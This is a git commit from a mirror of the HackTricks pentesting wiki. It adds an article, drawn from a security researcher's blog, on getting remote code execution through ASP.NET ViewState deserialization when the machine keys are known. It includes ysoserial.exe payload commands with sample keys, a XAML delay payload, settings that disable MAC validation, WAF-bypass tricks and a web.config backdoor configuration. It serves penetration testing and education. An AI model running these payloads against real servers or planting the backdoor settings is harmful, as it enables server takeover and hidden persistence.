mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
GitBook: [master] 444 pages modified
This commit is contained in:
CPol
gitbook-bot
parent
f1838927e4
commit
bbf817f42f
3 changed files with 254 additions and 2 deletions
|
|
@ -330,7 +330,8 @@
|
|||
* [Basic Java Deserialization \(ObjectInputStream, readObject\)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
|
||||
* [CommonsCollection1 Payload - Java Transformers to Rutime exec\(\) and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
|
||||
* [Basic .Net deserialization \(ObjectDataProvider gadget, ExpandedWrapper, and Json.Net\)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
|
||||
* [Exploiting \_\_VIEWSTATE parameter](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
|
||||
* [Exploiting \_\_VIEWSTATE knowing the secret](pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md)
|
||||
* [Exploiting \_\_VIEWSTATE without knowing the secret](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
|
||||
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||
* [Email Header Injection](pentesting-web/email-header-injection.md)
|
||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||
|
|
|
|||
|
|
@ -0,0 +1,251 @@
|
|||
# Exploiting \_\_VIEWSTATE knowing the secret
|
||||
|
||||
**The content of this post was extracted from** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)\*\*\*\*
|
||||
|
||||
## Introduction
|
||||
|
||||
ASP.NET web applications use ViewState in order to maintain a page state and persist data in a web form.
|
||||
|
||||
It is normally possible to **run code on a web server where a valid ViewState can be forged**. This can be done when the **MAC validation** feature has been **disabled** or by knowing the:
|
||||
|
||||
* **Validation key and its algorithm** **prior** to .NET Framework version **4.5**
|
||||
* **Validation key, validation algorithm, decryption key, and decryption algorithm** in .NET Framework version 4.5 or above
|
||||
|
||||
In order to prevent manipulation attacks, .NET Framework can **sign and encrypt** the ViewState that has been serialised using the `LosFormatter` class. It then verifies the signature using the message authentication code \(MAC\) validation mechanism. The `ObjectStateFormatter` class performs the signing, encryption, and verification tasks. The **keys required to perform the signing and/or encryption** mechanism can be stored in the `machineKey` section of the **`web.config`** \(application level\) or **`machine.config`** \(machine level\) files. This is normally the case when multiple web servers are used to serve the same application often behind a load balancer in a Web Farm or cluster. The following shows the `machineKey` section’s format in a configuration file of an ASP.NET application that uses .NET Framework version 2.0 or above:
|
||||
|
||||
```markup
|
||||
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
|
||||
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
|
||||
```
|
||||
|
||||
It should be noted that when a `machineKey` section has not been defined within the configuration files or when the `validationKey` and `decryptionKey` attributes have been set to `AutoGenerate`, the **application generates the required values dynamically** based on a cryptographically random secret. The algorithms can also be selected automatically. Currently in the latest version of .NET Framework, the default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`. See [\[13\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection) for more details.
|
||||
|
||||
## RCE with disabled ViewState MAC Validation
|
||||
|
||||
In the past, it was possible to **disable the MAC validation** simply by setting the `enableViewStateMac` property to `False`. Microsoft released a patch in September 2014 [\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/) to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Although some of us might believe that “_the ViewState MAC can no longer be disabled_” [\[4\]](https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET), it is s**till possible to disable the MAC validation feature by setting** the `AspNetEnforceViewStateMac` registry key to zero in:
|
||||
|
||||
```text
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
|
||||
Alternatively, adding the following **dangerous setting** to the application level `web.config` file can disable the MAC validation as well:
|
||||
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="true" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
When ViewState MAC validation has been **disabled**, the [YSoSerial.Net](https://github.com/pwntester/ysoserial.net) project can be used to generate `LosFormatter` payloads as the ViewState in order to run arbitrary code on the server.
|
||||
{% endhint %}
|
||||
|
||||
**Prior** to the .NET Framework version **4.5**, the `__VIEWSTATE` parameter could be **encrypted whilst the MAC validation feature was disabled**. It should be noted that **most** **scanners** **do not attempt** to send an unencrypted ViewState parameter to identify this vulnerability. As a result, **manual** **testing** is required to check whether the MAC validation is disabled when the `__VIEWSTATE` parameter has been encrypted. This can be checked by sending a short random base64 string in the `__VIEWSTATE` parameter. The following URL shows an example:
|
||||
|
||||
```text
|
||||
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
|
||||
```
|
||||
|
||||
If the target page **responds with an error, the MAC validation feature has been disabled** otherwise it would have suppressed the MAC validation error message.
|
||||
However, in scenarios where you cannot see the error message this trick won't work.
|
||||
|
||||
Automated scanners should use a **payload that causes a short delay** on the server-side. This can be achieved by executing the following ASP.NET code as an example to create a 10-second delay:
|
||||
|
||||
```text
|
||||
System.Threading.Thread.Sleep(10000);
|
||||
```
|
||||
|
||||
```bash
|
||||
string xaml_payload = @"<ResourceDictionary
|
||||
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
|
||||
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
|
||||
xmlns:System=""clr-namespace:System;assembly=mscorlib""
|
||||
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
|
||||
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
|
||||
<ObjectDataProvider.MethodParameters>
|
||||
<System:Int32>10000</System:Int32>
|
||||
</ObjectDataProvider.MethodParameters>
|
||||
</ObjectDataProvider>
|
||||
</ResourceDictionary>";
|
||||
```
|
||||
|
||||
## RCE with enabled ViewState MAC Validation
|
||||
|
||||
In older versions \(**prior to 4.5**\), .NET Framework uses the **`TemplateSourceDirectory`** property [\[15\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory) when **signing** a serialised object. **Since** version **4.5** however, it uses the **`Purpose`** strings in order to create the hash. Both of these mechanisms **require the target path from the root of the application directory** and the **page name**. These parameters can be **extracted from the URL**.
|
||||
|
||||
Applications that use an **older framework** and enforce ViewState encryption can **still accept a signed ViewState without encryption**. This means that **knowing the validation key and its algorithm is enough** to exploit a website. It seems ViewState is encrypted by default **since version 4.5** even when the `viewStateEncryptionMode` property has been set to `Never`. This means that in the latest .NET Framework versions the **decryption key and its algorithm are also required** in order to create a payload.
|
||||
|
||||
The ASP.NET ViewState contains a property called `ViewStateUserKey` [\[16\]](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969%28v=msdn.10%29) that can be used to mitigate risks of cross-site request forgery \(CSRF\) attacks [\[4\]](https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET). Value of the **`ViewStateUserKey`** property \(when it is not `null`**\) is also used during the ViewState signing** process. Although not knowing the value of this parameter can stop our attack, **its value can often be found in the cookies or in a hidden input** parameter \([\[17\]](https://software-security.sans.org/developer-how-to/developer-guide-csrf) shows an implemented example\).
|
||||
|
||||
### ViewState YSoSerial.Net plugins
|
||||
|
||||
In YSoSerial.Net master and YSoSerial.Netv2 you can find a plugin \([**this**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs) and [**this**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs)\) to exploit this technique when all the information is known.
|
||||
|
||||
#### **For .NET Framework >= 4.5:**
|
||||
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
|
||||
#### **For .NET Framework <= 4.0 \(legacy\):**
|
||||
|
||||
_The decryptionKey and its algorithm are not required here:_
|
||||
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
||||
```
|
||||
|
||||
_Apart from using different gadgets, it is possible to use the `__VIEWSTATEGENERATOR` parameter **instead of providing the paths**:_
|
||||
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
|
||||
_It uses the ActivitySurrogateSelector gadget by default that requires compiling the ExploitClass.cs class in YSoSerial.Net project. The ViewState payload can also be **encrypted** **to avoid WAFs when the decryptionKey value is known**:_
|
||||
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
**Note:** Due to the nature of used gadgets in YSoSerial.Net, the target ASP.NET page always responds with an error even when an exploit has been executed successfully on the server-side.
|
||||
{% endhint %}
|
||||
|
||||
#### Application path
|
||||
|
||||
it is important to find the root of the application path in order to create a valid ViewState unless:
|
||||
|
||||
* The application uses .NET Framework version 4.0 or below; and
|
||||
* The `__VIEWSTATEGENERATOR` parameter is known.
|
||||
|
||||
The following screenshot shows the path tree in IIS:
|
||||
|
||||
|
||||
|
||||
You can check [\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis) if you are not familiar with virtual directory and application terms in IIS.
|
||||
|
||||
In order to generate a ViewState for the above URL, the `--path` and `--apppath` arguments should be as follows:
|
||||
|
||||
```text
|
||||
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
|
||||
--apppath=/app2/
|
||||
```
|
||||
|
||||
If we did not know that “app2” was an application name, we could use **trial and error to test all the directory names** in the URL one by one until finding a ViewState that can execute code on the server \(perhaps by getting a DNS request or causing a delay\).
|
||||
|
||||
#### Generator
|
||||
|
||||
In this case, the `--generator` argument can be used. The `--isdebug` argument can be used to check whether the plugin also calculates the same `__VIEWSTATEGENERATOR` parameter when the `--path` and `--apppath` arguments have been provided.
|
||||
|
||||
### Exploiting Older Versions
|
||||
|
||||
No gadget was identified to exploit .NET Framework v1.1 at the time of writing this blog post.
|
||||
|
||||
In order to exploit applications that use .NET Framework v4.0 or below, the YSoSerial.Net v2.0 branch [\[21\]](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2) can be used \(this was originally developed as part of another research [\[22\]](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/)\). However, this project only supports a limited number of gadgets, and also requires the target box to have .NET Framework 3.5 or above installed.
|
||||
|
||||
### **Other tools**
|
||||
|
||||
It seems Immunity Canvas supports creating the ViewState parameter when the validation and encryption keys are known [\[29\]](https://vimeopro.com/user18478112/canvas/video/260982761). The following tools were also released coincidentally at the same time as I was about to publish my work which was quite surprising:
|
||||
|
||||
* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen) \(written in Python\)
|
||||
* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET) \(written in .NET\)
|
||||
|
||||
I think these tools currently **do not differentiate between different versions of .NET** Framework and target the legacy cryptography. Additionally, they **do not use the `ViewStateUserKey`** parameter that might be in use to stop CSRF attacks.
|
||||
|
||||
## Additional Tips
|
||||
|
||||
### **Using GET requests**
|
||||
|
||||
It is also possible to send the `__VIEWSTATE` parameter in the URL via a GET request. The only limiting factor is the URL length that limits the type of gadgets that can be used here.
|
||||
|
||||
### **Encryption in .NET Framework prior to version 4.5**
|
||||
|
||||
As mentioned previously, the `__VIEWSTATE` parameter does not need to be encrypted when exploiting .NET Framework 4.0 and below \(tested on v2.0 through v4.0\) even when the `ViewStateEncryptionMode` property has been set to `Always`. ASP.NET decides whether or not the ViewState has been encrypted by finding the `__VIEWSTATEENCRYPTED` parameter in the request \(it does not need to have any value\). Therefore, it is possible to send an unencrypted ViewStated by removing the `__VIEWSTATEENCRYPTED` parameter from the request.
|
||||
|
||||
This also means that changing the decryption key or its algorithm cannot stop the attacks when the validation key and its algorithm have been stolen.
|
||||
|
||||
The `__VIEWSTATE` parameter can be encrypted in order to bypass any WAFs though.
|
||||
|
||||
### **Bypassing anti-CSRF \(anti-XSRF\) mechanism**
|
||||
|
||||
An ASP.NET page produces an error when an invalid `__VIEWSTATE` parameter is used. However, the page can still receive its inputs when `Request.Form` is used directly in the code for example by using `Request.Form["txtMyInput"]` rather than `txtMyInput.Text`. **The CSRF attack can be achieved by removing the `__VIEWSTATE` parameter from the request or by adding the `__PREVIOUSPAGE` parameter with an invalid value**. As the `__PREVIOUSPAGE` parameter is encrypted and base64 formatted by default, even providing a single character as its value should cause an error.
|
||||
|
||||
This might result in bypassing the anti-CSRF protection mechanism that has been implemented by setting the `Page.ViewStateUserKey` parameter.
|
||||
|
||||
### **Usage of the ViewStateGenerator parameter**
|
||||
|
||||
When the `__VIEWSTATEGENERATOR` parameter is known, it can be used for the ASP.NET applications that use .NET Framework version 4.0 or below in order to sign a serialised object without knowing the application path.
|
||||
|
||||
### **ViewState chunking to bypass WAFs**
|
||||
|
||||
It is possible to break the `__VIEWSTATE` parameter into multiple parts when the **`MaxPageStateFieldLength`** property has been set to a **positive** **value**. Its **default** value is **negative** and it means that the **`__VIEWSTATE`** parameter **cannot be broken into multiple parts**.
|
||||
|
||||
This might be useful to bypass some WAFs when ViewState chunking is allowed.
|
||||
|
||||
### **Exploiting the EventValidation parameter**
|
||||
|
||||
The `__EVENTVALIDATION` parameter and a few other parameters are also serialised similar to the `__VIEWSTATE` parameter and can be targeted similarly. Exploiting a deserialisation issue via `__EVENTVALIDATION` is more restricted and requires:
|
||||
|
||||
* A POST request
|
||||
* An ASP.NET page that accepts input parameters
|
||||
* A valid input parameter name. For example, the `myinput` parameter in the POST request when we have the following code on the server-side:
|
||||
|
||||
```markup
|
||||
<asp:TextBox runat="server" ID="myinput" />
|
||||
```
|
||||
|
||||
Value of the `__VIEWSTATE` parameter can be empty in the request when exploiting the `__EVENTVALIDATION` parameter but it needs to exist.
|
||||
|
||||
The `Purpose` string that is used by .NET Framework 4.5 and above to create a valid signature is different based on the used parameter. The following table shows the defined `Purpose` strings in .NET Framework:
|
||||
|
||||
| **Input Parameter** | **Purpose String** |
|
||||
| :--- | :--- |
|
||||
| “\_\_VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
|
||||
| “\_\_EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
|
||||
| P2 in P1\|P2 in “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable |
|
||||
| P4 in P1\|P2\|P3\|P4 in “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
|
||||
| P3 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression |
|
||||
| P4 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys |
|
||||
|
||||
The table above shows all input parameters that could be targeted.
|
||||
|
||||
### **Beware of the PreviousPage parameter**
|
||||
|
||||
When the **`__PREVIOUSPAGE`** parameter exists in the request with **invalid** data, the **application** **does** **not** **deserialise** the **`__VIEWSTATE`** parameter. Providing the `__CALLBACKID` parameter prevents this behaviour.
|
||||
|
||||
### **Errors reliability**
|
||||
|
||||
As explained previously, we sometimes use errors to check whether a generated ViewState is valid. ASP.NET does not show the MAC validation error by default when an invalid `__VIEWSTATEGENERATOR` parameter is used. This behaviour changes when the `ViewStateUserKey` property is used, as ASP.NET will not suppress the MAC validation errors anymore.
|
||||
|
||||
In addition to this, ASP.NET web applications can ignore the MAC validation errors with the following setting even when the `ViewStateUserKey` property is used:
|
||||
|
||||
```markup
|
||||
<appSettings>
|
||||
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
|
||||
</appSettings>
|
||||
```
|
||||
|
||||
## Web.config as a backdoor
|
||||
|
||||
If attackers can **change** the **`web.config`** within the root of an application, they can **easily run code** on the server. However, embedding a stealthy backdoor on the application might be a good choice for an attacker. This can be done by **disabling the MAC validation** and setting the `viewStateEncryptionMode` property to `Always`. This means that all ASP.NET pages that do not set the `ViewStateEncryptionMode` property to `Auto` or `Never` always use encrypted ViewState parameters. However, as the **ViewState do not use the MAC validation feature, they are now vulnerable to remote code execution via deserialising untrusted data**. The following shows an example:
|
||||
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<system.web>
|
||||
…
|
||||
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
|
||||
</system.web>
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="false" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
|
||||
Another option for a stand-alone website would be to set the `machineKey` section with arbitrary keys and algorithms to stop other attackers!
|
||||
|
||||
It should be noted that setting the `EnableViewState` property to `False` does not stop this attack as the ViewState will still be parsed by ASP.NET.
|
||||
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
# Exploiting \_\_VIEWSTATE parameter
|
||||
# Exploiting \_\_VIEWSTATE without knowing the secret
|
||||
|
||||
## What is ViewState
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue